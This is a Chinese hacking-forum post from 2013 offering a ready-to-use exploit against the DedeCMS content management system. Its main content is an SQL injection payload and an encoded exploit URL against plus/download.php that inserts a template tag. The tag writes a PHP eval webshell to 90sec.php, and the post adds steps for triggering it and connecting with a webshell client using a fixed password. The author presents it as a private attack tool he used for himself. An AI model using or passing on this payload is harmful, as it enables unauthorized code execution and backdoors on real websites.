找回密码
 立即注册
查看: 3447|回复: 0
打印 上一主题 下一主题

dedecms漏洞getshell EXP最新

[复制链接]
跳转到指定楼层
楼主
发表于 2013-6-10 16:49:18 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 土豆 于 2013-6-10 14:41 编辑
4 ?2 B! E3 o# H  W
: ]  I. W; m' K% N( T2 N: |6 f8 l4 J5 |5 c, v6 R/ z1 J
作者:鬼哥- {4 K( H9 w& o9 ^
- K6 L5 T8 P! U
看贴不回,没JJ+ d7 w6 u4 B% R8 S4 X* a; d  Q6 z

5 K1 v, x6 m9 J漏洞大家都知道是哪个。
4 r: O* P( ]8 J& M
" {/ t, ?+ }4 u; Q+ _, s0 V其实我一直在玩。。郁闷 虽然这个漏洞不是我第一个发现的,以前也是朋友告诉我。, K  h: _  A) P! A9 d2 r. E

& S7 _: Y% h$ ^  q但是没公开。我承认想自己留着玩。。以前这个漏洞应该很多人知道没发出来而已。
6 B2 n, x- X, v/ ~- w* X! l
. Q& X* ~6 x. {6 u# u/ r9 ?( V刚看了出的几个exp .. 进后台。还得找后台路径 太麻烦了吧?; \' E9 W( J# y5 ^) [
) G# b6 a) w- k+ m+ H$ U
getshell 很容易 。 既然刚发出来的是 sql方法getshell  我也看到几个人发了sql增加表mytag的内容。- X7 B% Z: e7 {
$ s. I/ i0 _3 V% y: P4 r
但是测试了下。。失败5 c2 R( p! e; x  Q  S( `

4 w1 ^  H4 ~) g0 w; p* c$ o$ f原因: 用的语句是update  很多站 mytag 里面都没内容。那么你用update 那有什么用 修改不了任何数据。只能用 INSERT 当然,语句带#就会暴  错误。。现在要做的饶过即可。以前也出过那么多dede sql 结合饶过,成功INSERT。
% `9 f. d$ l% k3 ^- ?" ?4 y, M$ L5 b4 ~5 h0 T
构造语句:mytag` (aid,expbody,normbody) VALUES(9013,@`\'`,'{dede:php}file_put_contents(''90sec.php'',''<?php eval($_POST[guige]);?>'');{/dede:php}') # @`\'`
5 |1 m+ l- F: u$ B# I
( s/ c- t- [. {' D. DEXP:' `, v$ U1 j9 F; n! e+ V

, y. n8 l% i" q  b3 r2 p! Z3 M2 rhttp://www.xxx.com/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96
7 }( F; y: ]: |7 S4 Q  _. P  l# l2 V* f2 F  d* W, H+ P9 A
0 G, G; s1 V* p4 e5 v: i
成功增加。
" k7 U4 u2 G! n) I: O2 H% C( D$ f7 r, T% {
访问http://www.xxx.com/plus/mytag_js.php?aid=9013
) I. r) Z: r0 o2 P+ B" g' ~生成一句话木马.9 B9 C& X4 J) x9 k( `2 |+ w
菜刀连接 http://www.xxx.com/plus/90sec.php  密码 guige: I# \) R7 t, P5 h* g

/ V7 x; ]- [0 `5 s测试OK。
  _6 m9 E! ~0 j, a
7 Y5 R! P+ D6 d8 s" W" y
+ K) K1 c! V: p1 R8 o) N0 k0 n' d0 e8 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表